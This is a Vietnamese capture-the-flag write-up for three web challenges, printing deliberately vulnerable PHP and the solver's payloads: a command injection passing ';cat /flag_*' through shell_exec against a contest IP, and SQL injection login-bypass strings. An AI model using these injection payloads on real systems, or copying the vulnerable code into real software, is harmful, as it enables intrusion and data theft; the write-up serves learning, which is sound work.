## [Web Application] HEAD1
Sau khi down file .zip về và build docker, mình nhận ra trong Dockerfile có 1 đoạn như sau:
```dockerfile
COPY ./flag.txt /
RUN mv /flag.txt /flag_$(openssl rand -hex 10)
```
-> Copy file flag.txt vào root và đổi thành tên random với 10 kí tự hex, ví dụ như flag_f5a2b3c1d0
Về source code của chall ở index.php:
```php
if (strpos($_SERVER['REQUEST_URI'], '_')) {
die("no no no");
}
if (isset($_GET['input_data'])) {
$output = shell_exec("curl --head " . $_POST['input_data']);
echo $output;
}
show_source(__FILE__);
```
Rõ ràng là đoạn code php trên cản ta nhập kí tự "_" vào URL (in ra "no no no")
-> Chỉ cần URL encode là được
Và curl --head để lấy HTTP header của URL, tức là chỉ cần 1 lệnh nào đó được truyền dưới dạng input_data thì sẽ được thực thi với đặc quyền là user :v (dài dòng quá)
Ta thấy tham số input_data được check trong GET request, nhưng giá trị của nó lại được truy xuất từ POST request
Payload của ta (khi chèn command injection với cat) sẽ là:
```successful!
curl -X POST -d 'input_data=;cat /flag_*' http://45.122.249.68:20018\?input%5Fdata\=
```

```
=> W1{ez_head1_huh}
```
*Hôm qua khi làm xong mình đã qua làm thử câu khó nhất và treo máy đi ăn nên đã quên submit lấy 141 điểm cho câu này T-T
## [Web Application] HEAD2
Source code của chall:
```php
if (isset($_GET\['input_data'\])) {
$output = shell_exec("curl --head " . $_GET\['input_data'\]);
// echo $output;
}
show\_source(\_\_FILE__);
```
Mình nghĩ bài này cũng làm tương tự như HEAD1 vì chỉ thay input_data với request ở dạng GET thay vì POST nhưng mình chưa nghĩ ra thêm T-T
## [Web Application] DEJA-VU
Đầu tiên mình nhập creds cho username với admin và password bất kì thì mình có được như hình:

Check source:
+ Ở news.php, khi đăng nhập nhưng username không phải "admin" thì sẽ hiện ra dòng thông báo "Only admin.."
+ Tại login.php, query có dạng:
```php
SELECT * FROM users WHERE username='$username' AND password='$password'";
```
+ Và vì cần bypass cho đoạn password nên ta có payload như bên dưới
```
username: admin
password: ' OR username = 'admin
hoặc 'UNION SELECT username, password FROM users WHERE username='amin
```
Lúc này ta đã vào được news.php

Để lấy được flag mình nghĩ phải lấy được thông tin từ information.schema tables hoặc columns hay đại loại thế nhưng các payload mình thử rởm nên chưa xong T-T (như hình dưới) 